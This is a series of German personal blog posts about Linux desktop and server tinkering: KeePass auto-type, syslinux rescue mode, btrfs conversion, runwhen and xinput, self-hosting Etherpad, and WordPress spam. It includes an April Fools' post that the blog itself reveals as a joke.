Da der Reader bisher nur in Französisch und Englisch erhältlich ist, habe ich gestern angefangen eine deutsche Version zu erstellen. Mit der einen oder anderen Übersetzung habe ich allerdings noch Probleme, da einige Stellen in einem ziemlich komischen Englisch gehalten sind und ich schlicht und ergreifend keine Ahnung habe, was gemeint ist. Vermutlich ist die Muttersprache des Entwicklers Französisch und sein Englisch nicht unbedingt einwandfrei. Und ich noch nicht so vertraut mit dem Programm. Und im Reader direkt kann man die Sprache bisher auch noch nicht auf Deutsch umstellen. Derzeit funktioniert nur der direkte Aufruf über http://rss.domain.de/?lang=de_DE. Wer die derzeitige deutsche Version testen will, kann sich gerne bei mir melden, dann schicke ich ihm/ihr die Datei zu. Sobald ich mit der Übersetzung fertig bin, werde ich diese dem Entwickler zukommen lassen (hoffen wir mal dass dieser etwas anders tickt). Nur wegen der Sprache zur forken ist mir dann doch zu blöd. Wer mit Französisch oder Englisch kein Problem hat, kann sich unter http://tontof.net/feed/ auch eine Demoinstallation ansehen. Hier hat man allerdings nur Gastrechte.


Keepass Autotype unter LXDE

Zum verwalten einiger meiner Passwörter nutze ich das Programm KeePass. Dieses Programm bietet unter anderem die Funktion dass man mittels Shortcut sich automatisch auf bestimmten Seiten anmelden kann, ohne Benutzername und das Passwort manuell aus dem entsprechenden KeePass-Eintrag kopieren zu müssen. Die Entwickler geben hierzu eine Anleitung für KDE, Gnome und Unity. Nur nutze ich auf dem Netbook LXDE. Und schon ist mal wieder Bastelstunde.

Um die globale Autotype-Funktion auch unter LXDE nutzen zu können, muss als erstes xdotools installiert werden. Als nächstes muss man dann den Shortcut anlegen, der die Autotype-Funktion ausführt. Hierzu muss man die Datei ~/.config/openbox/lxde-rc.xml öffnen und entsprechend bearbeiten. In der XML-Datei gibt es den Abschnitt . Innerhalb diesen Bereichs muss nun der Shortcut definiert werden. Am besten trägt man diesen vor ein, so dass man ihn bei Bedarf schnell wieder findet. Bei mir sieht der Eintrag wie folgt aus. Die letzte Zeile sollte bereits vorhanden sein.

<keybind key="C-A-y">
      <action name="Execute">
        <command>keepass --auto-type</command>
      </action>
    </keybind>    
  </keyboard>

In der ersten Zeile definieren wir die Tastenkombination des Shortcuts. Das C steht hier für Strg, das A für ALT (genaueres kann man unter http://openbox.org/wiki/Help:Bindings#Key_combination nachlesen) und das y für y. Wer hier eine andere Kombination nehmen will, kann dies natürlich tun. In der zweiten Zeile wird angegeben, welche Aktion der Shortcut auslösen soll (genaueres unter http://openbox.org/wiki/Help:Actions). In diesem Fall Execute, da ja ein Befehl ausgeführt werden soll. In der dritten Zeile wird dann der Befehl angegeben, der ausgeführt werden soll. Damit der Shortcut funktioniert, muss man sich aus- und wieder einloggen bzw. den Rechner neu starten. Nun sollte die Autotype-Funktion funktionieren, wenn die entsprechende KeePass-Datenbank geöffnet ist.


Mit syslinux in den rescue mode booten

Viele Nutzer von Arch Linux verwenden als Bootloader nicht Grub(2) oder LiLo sondern syslinux. Auch ich gehöre zu diesen Nutzern. Standardmäßig gibt es zwei Einträge das System zu booten. Einmal den normalen Aufruf und einmal den Fallback-Modus bei dem alle mkinitcpio hooks geladen werden. Mit beiden Einträgen konnte ich bei meinem Broadcom-Problem das bei einem Kernel, aktueller Version 3.10.5, auftritt, nichts anfangen. Um bei einem ähnlichen Problem zukünftig gewappnet zu sein, habe ich mir jetzt eine Lösung zusammen gebastelt, so dass ich in vielen Fällen auf ein Booten mit dem Installationsmedium und anschließendem chroot verzichten kann.

Hierzu habe ich einfach mit dem Befehl nano /boot/syslinux/syslinux.cfg die Konfigurationsdatei des Bootloaders geöffnet. Der, für mein Vorhaben wichtige Teil sieht wie folgt aus.

LABEL arch
    MENU LABEL Arch Linux
    LINUX ../vmlinuz-linux
    APPEND cryptdevice=/dev/sda2:main root=/dev/mapper/main-root ro lang=de locale=de_DE.UTF-8
    INITRD ../initramfs-linux.img

LABEL archfallback
    MENU LABEL Arch Linux Fallback
    LINUX ../vmlinuz-linux
    APPEND cryptdevice=/dev/sda2:main root=/dev/mapper/main-root ro lang=de locale=de_DE.UTF-8
    INITRD ../initramfs-linux-fallback.img

Hier haben wir als erstes den normalen Start und als zweites den Fallback-Modus.

Jetzt möchte ich noch einen dritten Eintrag haben, der mir erlaubt in etwas ähnliches wie den früheren Runlevel 1 zu booten, den es in der Form ja unter systemd nicht mehr gibt.

Von daher kopiere ich erst einmal den ersten Block unter den zweiten und erzeuge somit einen dritten Eintrag im Bootmenü. Nun passe ich die Zeile LABEL und MENU LABEL entsprechend an, damit diese einzigartig sind und man erkennen kann, was die Funktion dahinter ist.

Zu guter Letzt ändere ich noch die Zeile APPEND und erweitere sie am Ende um systemd.unit=rescue und speichern die Datei einfach ab. Mehr ist nicht nötig. Das Ganze müsste dann folgendermaßen aussehen.

LABEL archrescue
    MENU LABEL Arch Rescue
    LINUX ../vmlinuz-linux
    APPEND cryptdevice=/dev/sda2:main root=/dev/mapper/main-root ro lang=de locale=de_DE.UTF-8 systemd.unit=rescue
    INITRD ../initramfs-linux.img

Durch systemd.unit=rescue wird das System angewiesen in den Modus zu booten, der dem ehemaligen Runlevel 1 am nächsten kommt. Sprich es ist alles gemountet was nötig ist, aber sonst läuft so gut wie nichts. Zum Beispiel kein Netzwerk, was ja bei mir die Kernel Panic ausgelöst hat. Um bei dem Broadcom-Problem zu bleiben könnte man hier zum Beispiel mit dem Befehl pacman -U /var/cache/pacman/pkg/linux-3.10.5-1-x86_64.pkg.tar.xz den Kernel downgraden und somit das System wieder lauffähig machen, bis das Problem behoben ist. Dies wird in diesem Fall wohl frühestens in Version 3.11 soweit sein.


AppMenu QML - Mein neues Startmenü und dessen Problembeseitigung

Ich heute mal wieder auf kde-look.org gewesen und habe mir mal wieder neue Plasmoids angesehen. Dabei bin ich auf das Startmenu AppMenu QML gestoßen, dass in QML und Javascript geschrieben ist.

Im Grunde ist es kein Plasmoid, dass an unbedingt haben muss, da es keinen wirklichen Mehrwert bringt. Aber es gefällt mir optisch ganz gut, von daher behalte ich es erst einmal.

Nur hat bzw. hatte das ganze mal wieder einen Haken. Alle Schaltflächen die zum Beispiel für das Abmelden, für das direkte Herunterfahren oder zum Benutzer wechseln gut sind, haben nicht funktioniert. Also musste ich mal wieder Hand anlegen. Unter ~/.kde4/share/apps/plasma/plasmoids/appmenu-qml/contents/ui/ findet man die Datei LeaveToolBar.qml. In dieser findet man folgenden Abschnitt, der für die funktionslosen Schaltflächen zuständig ist.

function doAction(action) {
    // see http://api.kde.org/4.10-api/kde-workspace-apidocs/libs/kworkspace/html/namespaceKWorkSpace.html
    if (action == "lockScreen")
        plasmoid.runCommand("qdbus", ["org.freedesktop.ScreenSaver", "/ScreenSaver", "Lock"]);
    else if (action == "requestShutDown")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "1", "-1", "-1"]); // ShutdownConfirmYes, ShutdownTypeDefault, ShutdownModeDefault
    else if (action == "logOut")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "0", "3", "-1"]); // ShutdownConfirmNo, ShutdownTypeLogout, ShutdownModeDefault
    else if (action == "turnOff")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "0", "2", "-1"]); // ShutdownConfirmNo, ShutdownTypeHalt, ShutdownModeDefault
    else if (action == "restart")
        plasmoid.runCommand("qdbus", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "0", "1", "-1"]); // ShutdownConfirmNo, ShutdownTypeReboot, ShutdownModeDefault
    else if (action == "suspendToRam")
        plasmoid.runCommand("qdbus", ["org.kde.Solid.PowerManagement", "/org/kde/Solid/PowerManagement", "org.kde.Solid.PowerManagement.suspendToRam"]);
    else if (action == "suspendToDisk")
        plasmoid.runCommand("qdbus", ["org.kde.Solid.PowerManagement", "/org/kde/Solid/PowerManagement", "org.kde.Solid.PowerManagement.suspendToDisk"]);
    else if (action == "switchUser")
        plasmoid.runCommand("qdbus", ["org.kde.krunner", "/App", "org.kde.krunner.App.switchUser"]);
}


Nur was nun? Ich habe mir erst einmal einen der Befehle in der Konsole nachgebaut (qdbus org.kde.ksmserver /KSMServer org.kde.KSMServerInterface.logout -1 -1 -1). Und schon mault die zsh, dass sie Befehl qdbus nicht kennt. Das dürfte das Problem sein. Da ich zufälliger weise wusste, dass der Befehl unter Arch im Paket qt4 enthalten ist, habe ich mir den Paketinhalt unter https://www.archlinux.org/packages/extra/x86_64/qt4/ mal genauer angesehen. Hier wird eine Datei mit dem Namen qdbus-qt4 gelistet. Das dürfte dann wohl die Lösung des Problems sein. Aber wieso nicht qdbus sondern qdbus-qt4? Ein paar Minuten später hatte ich die Antwort. Arch bietet auch das Paket qt5-tools an. Und hier gibt es den Befehl qdbus. Somit wollte man hier wohl Probleme vermeiden, wenn beide Pakete installiert werden würden. Da ich noch nicht qt5 installieren möchte, habe ich mich also dazu entschieden die genannte Konfigurationsdatei anzupassen.

Von daher habe ich die Datei nach qdbus durchsucht und diesen Befehl durch qdbus-qt4 ersetzt, so dass z. B. folgender Eintrag zustande kam.

plasmoid.runCommand("<strong>qdbus-qt4</strong>", ["org.kde.ksmserver", "/KSMServer", "org.kde.KSMServerInterface.logout", "1", "-1", "-1"]); // ShutdownConfirmYes, ShutdownTypeDefault, ShutdownModeDefault

Diese Änderungen werden nicht sofort übernommen, sondern vermutlich erst nachdem man sich aus- und wieder eingeloggt hat. Ich habe einfach die Kiste komplett neu gestartet. Und schon kann ich die Schaltflächen die vorher ohne Funktion waren, nutzen.


Warum man immer erst die SuFu nutzen sollte

Gestern hatte ich mal wieder ein Erlebnis, bei dem man sich nur an den Kopf fassen konnte. Diesmal allerdings wegen eigener Dummheit. Als ich gestern mein Netbook mal wieder mit den neuen Updates von Arch-Linux versorgen wollte, ist während der Installation ist irgendwann der Rechner ausgegangen. Wann genau kann ich nicht sagen, da ich nicht die ganze Zeit vorm Rechner war. Aber die Ursache war auf jeden Fall ein leerer Akku.

Tja, man sollte wirklich erst mal den Akkustand prüfen, bevor man die Updates einspielt. Das habe ich dann nachdem ich das Netzkabel angeschlossen und die Kiste wieder gestartet habe feststellen müssen. Kurz nachdem ich unter LXDE angemeldet habe, gab es eine nette Kernel Panic.

Also wieder ein Neustart. Danach ganz schnell angemeldet und versucht die Logs unter /var/log anzusehen. Kernel Panic. Nächster Versuch. Diesmal allerdings kein Versuch Logs anzusehen, sondern pacman -Syu aufgerufen. Eventuell wurde wegen des leeren Akkus ja nur ein Paket nicht ganz installiert. Kernel Panic. Hmm... Eventuell hat das Dateisystem eine Macke? Also gut, dann booten wir eben die Kiste mal mit dem Installationsmedium von Arch und prüfen mal das Dateisystem der Root- und Homepartion. Hier gab es mal keine Kernel Panic, sondern erst mal eine Hürde, wie man mittels Luks verschlüsselte LVM mountet. Also schnell mal mit dem Smartphone gegoogelt. Ach so geht das... Ein Check des Dateisystems ergab aber nichts. Nicht mal eine Kernel Panic. Also gut, dann schauen wir mal die Logs an. Nichts.

Das suchen wir den Fehler Spielchen habe ich dann noch ca. 2 Stunden gespielt und mich dann entschieden, die persönlichen Daten am Wochenende zu sichern und die Kiste neu zu installieren. Das geht auf jeden Fall schneller. Gut, dass ich aber noch am gleichen Abend im Forum von archlinux.org vorbeigeschaut habe. Dort habe ich dann diesen Thread gefunden. Und genau in dem Moment habe ich mir an den Kopf gefasst. Denn mein Netbook hat einen Broadcom-Chip für das WLAN, welcher das Modul brcmsmac nutzt. Und bei der abgebrochenen Aktualisierung war bei den neuen Paketen auch der Kernel Linux 3.10.6 dabei. Scheinbar lief die Aktualisierung wohl doch durch. Zumindest bis zum Kernel.

Ich habe mich daher erst mal entschlossen, wieder den alten Kernel 3.10.5 zu installieren. Und schon läuft die Kiste wieder. Da Broadcom ja nicht gerade der Hit unter Linux ist, überlege ich mir jetzt allerdings noch, ob die die WLAN-Karte gegen eine andere z. B. von Intel tausche. Allerdings soll Lenovo ja im Bios eine Whitelist führen und so viele Karten aussperren.


Btrfs - Eine erste Zwischenbilanz

Vor etwas mehr als einen Monat habe ich meine Root-Partition nun auf Btrfs umgestellt. In dieser Zeit hatte ich mehrere größere Updates meiner Distribution eingespielt und auch zwei mal das System zu Absturz gebracht. Einmal durch ein Programm eines Bekannten, dass ich testen sollte und einmal dadurch, dass ich in der Steckdosenleiste leider den falschen Stecker gezogen habe.

Wirklich interessiert hat es aber mein System nicht. Es funktioniert alles wie es soll. Da es auch keine anderen Probleme gibt und ich z. B. die Snapshot-Funktion immer mehr mag, habe ich nun mittels folgender Befehle das Image der ext4-Partition, dass beim Umwandeln auf btrfs automatisch angelegt wurde, nun endgültig entfernt.

rm /ext2_saved/*
btrfs subvolume delete /ext2_saved

Derzeit kann ich also das neue Dateisystem, soweit man das nach einem Monat machen kann, nur empfehlen. Zumindest für private Rechner.

Zwischenzeitlich wurde ich auch schon gefragt, ob ich eventuell Benchmarks machen könnte. Ja, ich könnte. Ich werde es allerdings nicht machen. Mir geht es dabei nicht darum, ein noch schnelleres Dateisystem zu verwenden. Mir geht es hauptsächlich um die Funktionen wie Snapshots, Subvolumes oder die Dateisystemprüfung im laufendem Betrieb usw.


Btrfs - no risk no fun

Ich verfolge die Entwicklung von Btrfs, dem zukünftigen Linux-Filesystem der Marke eierlegender Wollmilchsau, nun schon seit geraumer Zeit.

Gestern hat mich mal wieder der Teufel geritten und ich habe meine Rootpartition von Arch kurzerhand von ext4 auf btrfs umstellt. 

Als erstes habe ich sichergestellt, dass das Paket btrfs-progs installiert ist.

Danach habe ich den Rechner mit dem Installationsmedium von Arch gebootet.

Mittels "fsck.ext4 -f /dev/sda3" habe ich vorsichtshalber erst mal das vorhandene Dateisystem auf Fehler getestet. Als das keine Probleme ausgespuckt hat, habe ich kurzerhand mittels "btrfs-convert /dev/sda3" meine Rootpartition von ext4 auf btrfs konvertiert. Hier muss man durchaus einige Zeit warten. Nach dem Konvertieren habe ich dann die "neue" Rootpartition gemountet und die /etc/fstab angepasst indem ich beim Eintrag für die betreffende Partition ext4 gegen btrfs und fs_passno von 1 gegen 0 ausgetauscht habe.

Mutig (oder dumm) wie ich bin, habe ich dann gleich einmal einen Neustart hingelegt. Und schwups hat es eine Fehlermeldung gehagelt. Und zwar dass das Filesystem btrfs nicht bekannt sei. Nach einigen ratlosen Minuten habe ich dann wieder das Installationsmedium gebootet, die Partition gemountet und mir die Datei /etc/mkinitcpio.conf angesehen. Hier hatte ich zwar als Hook filesystems eingetragen, aber scheinbar mag das btrfs nicht. Da meines Wissens ein btrfs-Hook existiert habe ich diesen mal schnell hinzugefügt. Damit das ganze dann auch funktioniert, wollte ich dann noch "mkinitcpio -p linux" ausführen. Und wieder hat es peng gemacht. Ohne chroot funktioniert das ja nicht. Also noch schnell die Boot-Partition gemountet und mittels "chroot /mnt/arch" das ganze gechrootet. Nun hat auch "mkinitcpio -p linux" funktioniert. Also Neustart. Und wieder peng. Langsam genervt, habe ich erneut vom Installationsmedium gebootet. Mittels "blkid" habe ich dann mir mal alle Partitionen zu Gemüte geführt und diese mit den Einträgen in der /etc/fstab abgeglichen. Bingo, die UUID hat sich geändert. Also schnell noch diese in der /etc/fstab anpassen. Neustart. Kein Peng, sondern der gewohnte Bootvorgang.

System läuft, Daten sind noch da. Also noch einen Schritt weiter. Erneut habe ich die Datei /etc/fstab editiert und in die betreffende Zeile noch ein compress=lzo hinzugefügt, damit die Dateien, welche geändert werden bzw. neu hinzukommen, auch komprimiert werden. Was aber mit den bereits vorhandenen, die sich nicht ändern? Naja erst mal testen und deshalb... Neustart. Funktioniert. Also was nun mit den bereits vorhandenen Daten? Nach der einen oder anderen Suchabfrage bei Google hatte ich die Lösung. Mit dem Befehl "find -xdev -type f -exec btrfs fi defrag '{}' \;" werden vorhandene btrfs-Filesystem defragmentiert und dabei auch noch komprimiert, sofern der Eintrag in der /etc/fstab vorhanden ist.

Mal sehen, wie sich btrfs nun schlägt. Bisher habe ich noch keine negativen Effekte erlebt. Gut, nach nicht mal 24 Stunden ist das auch kein Wunder. Sollte es wirklich richtig Peng machen, werde ich einfach die ext4-Sicherung einspielen und hier noch einen Artikel schreiben. Alles in allem ist das aber alles kein Hexenwerk. Sofern man die Dinge berücksichtigt, die ich nicht berücksichtigt habe. ;-) Trotzdem will ich noch einmal ganz deutlich sagen, dass btrfs noch nicht als stabil gekennzeichnet ist. Deswegen Benutzung auf eigene Gefahr. Genau deswegen bleibt /home bei mir auch erst einmal ext4, da hier wesentlich mehr Daten lagern und eine Datensicherung nicht mal eben eingespielt ist.


FryBoyter.de nun auch per IPv6 erreichbar

Da ich ab und zu gefragt werde, ob man FryBoyter.de auch per IPv6 erreichen kann, habe ich mir am Wochenende erlaubt einen AAAA-Eintrag bei dieser Domain zu erstellen. Wer also jetzt schon mit IPv6 arbeitet, kann die Seite nun direkt darüber aufrufen.


Mausgesten der Marke Eigenbau

Auf meinem Netbook nutze ich derzeit Chromium, da mein Lieblingsbrowser Opera zu zäh läuft und Midori leider regelmäßig abstürzt. Unter Opera nutze ich schon seit Jahren die Mausgesten. Chromium unterstützt von Haus aus keine und die Erweiterungen die ich auf die schnelle gefunden habe, gefallen mir alle nicht so richtig. In den Weiten des Internets bin ich dann auf easystroke gestoßen.

Der Vorteil an easystroke ist, dass man damit eigentlich jedes Programm mit Mausgesten ausrüsten kann. Der Nachteil, es ist eben kein Plugin, sondern ein extra Programm das gestartet werden muss. Naja auf eines mehr oder weniger kommt es bei halbwegs aktuellen Rechnern auch nicht an.

Nachdem man das Tool installiert und gestartet hat, wird einem erst einmal eine mehr oder weniger leere grafische Oberfläche angezeigt. Als erstes klicken auf den Reiter "Preferences" und wählen unter "Behavior" die Schaltfläche "Gesture Button" aus. Im nun erscheinenden Fenster wählen wir recht unten anstelle des voreingestellten Button 2 (Mausrad) Button 3 aus (rechte Maustaste) und bestätigen mit "OK". Natürlich kann man hier verwenden was man will. Wer das Mausrad nutzen will kann auch Button 2 lassen usw.

Nun wechseln wir wieder auf den Reiter "Actions" und klicken auf den kleinen Pfeil neben Applications und öffnen somit das Untermenü.

easystroke_2

Als nächstes starten wir das gewünschte Programm, dass wir mit Mausgesten ausstatten wollen. Danach klicken wir unter easystroke auf die Schaltfläche "Add Application". Nun sollte sich der Mauszeiger in ein Fadenkreuz verwandelt haben, mit welchem wir das gewünschte Fenster klicken. In diesem Fall Chromium. Nun sollte in easystroke neben dem bereits vorhandenen Eintrag "default" auch Chromium gelistet sein.

Diesen Eintrag wählen wir nun mit einem Mausklick aus. Wenn der Eintrag markiert ist, klicken wir in easystroke auf die Schaltfläche "Add Action", welche man am unteren Rand findet. Nun erscheint bereit die erste Aktion, welche den voreingestellten Namen "chromium Gesture 1" trägt. Diesen Namen ändern wir als erstes. Zum Beispiel in "Zurück", da wir als erstes die Mausgeste anlegen wollen, die die vorherige Internetseite aufruft. Nun wechseln wir mit TAB in die Spalte "Type" Nun erhalten wir eine Auswahlliste mit diversen Einträgen. Hier kann man sich je nach Anwendung, die mit Mausgesten ausgestattet werden soll, austoben. Bei diesem Beispiel ist "Key" das was wir brauchen. Nachdem wir das ausgewählt den Cursortasten ausgewählt haben (alternativ mit der Maus), erscheint in der Spalte Details der Eintrag "Key combination...". An dieser Stelle drücken wir nun die gewünschte Tastenkombination. In diesem Fall wäre dies die Taste ALT und die Cursortaste nach Links. Die genauen Shortcuts für Chrome/Chromium kann man sich hier ansehen. Das Ganze müsste nun wie folgt aussehen.

easystroke_3

Nun müssen wir nur noch die Mausgeste bestimmen, mit der dieser Eintrag ausgeführt wird. Da ich, wie schon angemerkt, ein Fan von Opera bin, kopiere ich einfach mal die Mausgesten dieses Browsers. Diese findet man hier. Für unser Beispiel müssten wir also die rechte Maustaste drücken, gedrückt halten und mit der Maus eine Bewegung nach Links ausführen. Also gut. Damit auch easystroke das kapiert klicken wir nun auf "Record Stroke". Hier erhalten wir den Hinweis, dass nun alles aufgezeichnet wird, was wir nun mit der Maus anstellen. Also klicken wir auf die rechte Maustaste, halten diese und ziehen die Maus ein Stück nach links und lassen die rechte Maustaste wieder los. Nun sollte der von uns erstelle Eintrag für "Zurück" wie folgt aussehen.

easystroke_4

Das wiederholen wir nun für alle gewünschten Mausgesten. Mehr gibt es eigentlich nicht zu tun. Easystroke zeigt in den mit Mausgesten ausgestatteten Anwendungen beim Ausführen der Gesten diese auch grafisch an. Dies kann man im Reiter "Preferences" unter "Apperence" ändern bzw. abstellen. Hier gibt es auch eine Möglichkeit anzugeben, dass easystroke automatisch gestartet werden soll. Denn läuft easystroke nicht, funktionieren die Mausgesten auch nicht.


Runwhen - Eine Alternative zu cron

Ich merke mir irgendwie schlecht, wie die richtige Reihenfolge für die Einträge in die Crontab ist. Ist die erste Stelle nun für die Minuten zuständig? Oder waren es die Stunden? Jedes mal das selbe Drama. Lars von Suckup.de hat deswegen heute einen Tipp in seinem Blog veröffentlicht, mit dem man diese Unsicherheit aus dem Weg räumen kann.

An dieser Stelle möchte ich nicht noch einen Tipp für cron veröffentlichen, sondern eine Alternative vorstellen. Runwhen. Hiermit finde ich es wesentlich angenehmer einen Cronjob zu erstellen.

Nehmen wir mal an, man möchte etwas täglich um 5.30 Uhr am Morgen ausführen. Hier wäre der Eintrag RUNWHEN=",H=5,M=30" nötig. Oder es soll nur etwas am fünften Tag vor Monatsende ausgeführt werden? Dann wäre RUNWHEN=",d-5" das Richtige.

Das Ganze lässt sich beliebig kombinieren. Um zu zeigen, was neben H,M und d noch alles möglich ist, hier mal ein Auszug aus meiner Konfigurationsdatei:

# The constraint string consists of a sequence of unit constraints. Each unit
# constraint consists of a comma, one of the following letters indicating which
# unit is constrained:
#
# * y: year.
# * m: month (in the range 1-12).
# * d: day of the month (in the range 1-28, 1-29, 1-30, or 1-31, as
# appropriate for the month in question).
# * w: day of the week (in the range 0-6, with 0 representing Sunday).
# * H: hour of the day (in the range 0-23).
# * M: minute of the hour (in the range 0-59).
# * S: second of the minute (in the range 0-59).
#
# and finally one of the following:
#
# * =n: matches times when the given unit is exactly n.
# * -n: matches times when the given unit is exactly m, where m+n is one
# more than the largest value of the unit. (For example, n+m=24 for H,
# so ,H-1 is equivalent to ,H=23.
# * /n: matches times when the given unit is divisible by n.

Persönlich finde ich das irgendwie angenehmer. Ist aber vermutlich Geschmackssache. Einen etwas ausführlicheren Artikel zu dem Thema Runwhen findet man im Wiki von Uberspace.


Touchpad bei Bedarf deaktivieren

In letzter Zeit nutze ich immer öfter mein Netbook (Lenovo X130e) für alles mögliche. Allerdings erwische ich beim Tippen regelmäßig den Touchpad. Bei längeren Texten nervt das dann schon gehörig. Daher habe ich mir mal angesehen, wie ich den Touchpad bei Bedarf deaktivieren kann. Hierzu kann man den Befehl "xinput" nutzen.

Mittels "xinput list" erhält man eine Liste aller erkannten Eingabegeräte. Bei mir sieht das wie folgt aus:

xinput_touchpad

Das Touchpad wird hier als "SynPS/2 Synaptics Touchpad" aufgeführt. Wichtig ist hier die ID des Gerätes. In diesem Fall 13.

Mittels "xinput --disable 13" kann man nun das Touchpad bei Bedarf deaktivieren. Um es wieder zu aktivieren reicht der Befehl "xinput --enable 13" aus.

Soll der Touchpad dauerhaft deaktiviert werden und das BIOS bietet keine Möglichkeit den Touchpad zu deaktivieren, kann man den Befehl in der Datei "~/.xinitrc" hinterlegen.


Meine eigene Installation von Etherpad Lite

Ab und zu benötige ich eine Plattform auf der ich Texte veröffentlichen kann, welche dann auch von Dritten änderbar sind. In letzter Zeit habe ich immer auf diverse Webseiten wie http://openetherpad.org/ zurückgegriffen, die dies in Form von Etherpad Lite ermöglichen. Irgendwie habe ich allerdings immer das Glück, dass immer wenn jemand das von mir erstellte Pad aufrufen will, das ganze Angebot nicht erreichbar ist.

Damit ist jetzt hoffentlich Schluss. Da ich bei meinem Webspace-Anbieter eine ziemliche Narrenfreiheit habe, habe ich mir jetzt kurzerhand Etherpad Lite auf meinem Webspace installiert. Praktischer Weise gab es im Wiki auch gleich eine Anleitung dazu. Des Weiteren habe ich mich dann noch, hier bedient und die .htaccess-Datei abgekupfert, damit die Pads auch ohne /p/ in der Adresse funktionieren. Was ich allerdings noch nicht geschafft habe, ist dass neue Pads automatisch ohne /p/ im Link erstellt werden. Kann mir da jemand auf die Sprünge helfen?

Unter http://pad.fryboyter.de steht der Spaß nun zur Verfügung. Ich werde bis auf weiteres den Zugriff auch für Dritte erlauben. Sollte es aber ausarten oder missbraucht werden, werde ich das Angebot einstellen und nur noch für mich selbst nutzen.

Nachtrag 25.05.13: Da seit gestern mehr als 50 Test-Pads erstellt wurden, möchte ich darum bitten, zum reinen Testen http://pad.fryboyter.de/test zu nutzen.


Das Wordpress-Plugin Social-Media-Widget verteilt(e) Spam

Die Sicherheitsfirma Sucuri hat herausgefunden, dass das Wordpress-Plugin Social-Media-Widget ab Version 4.0 missbraucht wurde um Spam-Code in die jeweiligen Blogs, welche das Plugin nutzen, einzuschleusen.

Version 4.0.1 soll wohl wieder bereinigt sein, aber bei mir bleibt ein komisches Gefühl zurück. Da ich nur zwei "social widgets" (RSS und E-Mail) genutzt habe, habe ich das Plugin nun komplett entfernt und zwei neue Icons per Hand eingebunden, die im Grunde genommen das gleiche machen. Nur eben sicherer.

Bisherige Nutzer des Plugins sollten sich, zumindest vorübergehend, nach einer Alternative umsehen.


Wie oft bekomme ich Spam-Kommentare von einer bestimmten IP-Adresse

Das von mir eingesetzte Antispam-Plugin Antispam Bee macht heute wieder Überstunden. Allein heute wurden schon Spam-Kommentare im dreistelligem Bereich erfolgreich gefiltert. Da ich gerade mit DBeaver auf der Wordpress-Datenbank war, hat es mich mal interessiert, wie oft Spam von einer bestimmten IP-Adresse bei mir abgeladen wurde. Hierzu habe ich mir eine kleine Abfrage gebastelt.

SELECT
     comment_author_IP, 
     COUNT(comment_author_IP) AS haeufigkeit
FROM
     wp_comments
WHERE
     comment_approved="spam"
GROUP BY
     comment_author_ip
ORDER BY
     haeufigkeit DESC

Hiermit wird angezeigt welche IP wie oft einen als Spam gekennzeichneten Kommentar abgelassen hat. Das ganze wird dann nach der Häufigkeit absteigend sortiert.

Spam_IP_Statistik

Wie man sieht, geben manche IP-Adressen (ich habe diese mal wegen Datenschutz verpixelt. Nur soviel, die Top 2 gehören zu OVH) einfach keine Ruhe.

Wie handhabt ihr solche "Dauernerver"? Lasst ihr sie einfach weiterspammen und von eurem Spamschutz ausfiltern? Oder setzt ihr ab einer gewissen Grenze dem ganzen Einhalt? Zum Beispiel über einen Eintrag in der .htaccess-Datei?


Ziel eines Softlinks herausfinden

Gerade war ich per SSH mit einem anderen Rechner verbunden. Hier hatte ich vor einiger Zeit einen Softlink erstellt. Da dieser nicht mehr funktioniert, hat sich scheinbar das Ziel geändert. Leider hatte ich keinen blassen Schimmer mehr, wohin der Softlink zeigt. Ja, nicht vorhandene Dokumentationen sind schon etwas feines... Um zukünftig nicht wieder ewig nach der Lösung zu suchen, hier selbige für mich und euch. Es gibt den Befehl readlink. Mit diesem kann man sich anzeigen lassen, wohin der Softlink gelenkt wird.

readlink www.fryboyter.de

Dies gibt z. B. html/cms aus. Will man es etwas genauer haben, kann man den Befehl wie folgt erweitern

readlink -f www.fryboyter.de

Nun erhält man beispielsweise /var/www/virtual/anaximander/html/cms als Ausgabe.


Laut Piwik liegt Frankreich neben Suriname

Gerade hat mich eine Installation von Piwik etwas verwirrt. Wenn man mit dem Mauszeiger auf die Besucherkarte geht, werden die jeweiligen Länder angezeigt. Dabei ist mir aufgefallen, dass laut dieser Karte Frankreich auch in Südamerika liegt.

Erst nach ein paar Minuten ist es mir in den Sinn gekommen, dass damit vermutlich Französisch-Guayana gemeint ist.


Diverse Distributoren planen Offline-Updates

Zur Abwechslung kann ich mal etwas exklusives schreiben, auch wenn der Tag hierfür etwas ungünstig ist. Eine mir persönlich bekannte Quelle, welche über keine eigene Internetseite zur Veröffentlichung verfügt, hat mir interessante Informationen zukommen lassen.

Laut diesen planen diverse Distributoren Abos für Offline-Updates einzuführen. Abonnent erhalten hierbei vom jeweiligen Distributor in regelmäßigen Abständen einen Datenträger (vermutlich einen USB-Stick) per Post zugeschickt, auf dem die jeweils aktuellen Updates vorhanden sind. Dieser kann dann zum Einspielen selbiger genutzt werden. Der Datenträger muss dann innerhalb eines bisher noch nicht bekannten Zeitraums wieder zurückgeschickt werden. Hierzu soll wohl ein Rücksendeaufkleber beiliegen. Wie hoch die Kosten für das Abo liegen, steht derzeit ebenfalls noch nicht fest, da es sich bisher noch um Planungen handelt. Vermutlich werden diese aber von Distributor zu Distributor unterschiedlich ausfallen.

So wie es aussieht ist diese Idee wohl dadurch entstanden, weil einige Anbieter von Internetzugängen wieder auf Volumen-Tarife umsteigen. Durch solch ein Abo soll scheinbar das monatliche Datenvolumen der jeweiligen Nutzer geschont werden.

Dies ist, meiner Meinung nach, eine interessante Idee, da bei manchen Distributionen wie z. B. Arch Linux durchaus einige Gigabyte im Monat an Updates zusammenkommen können. Solch ein Abo könnte aber auch für Nutzer mit DSL light oder schlimmer interessant sein. Aber derzeit muss man noch abwarten, welche Distributoren überhaupt mitmachen und welche Kosten dadurch für den Nutzer entstehen.

Updates die eine akute Sicherheitslücke betreffen, wird man aber weiterhin online einspielen müssen. Ich kann mir beim besten Willen nicht vorstellen, dass solche Update außerhalb des normalen Abo-Rhythmus zeitnah per Datenträger geliefert werden können.

Nach aktuellen Erkenntnissen hat sich meine Quelle in den Inselstaat Lirpa Lirpa abgesetzt. Oder um es direkter auszudrücken, das war der Aprilscherz 2013 von fryboyter.de


Ausnahme für OpenVPN-Verbindung erstellen

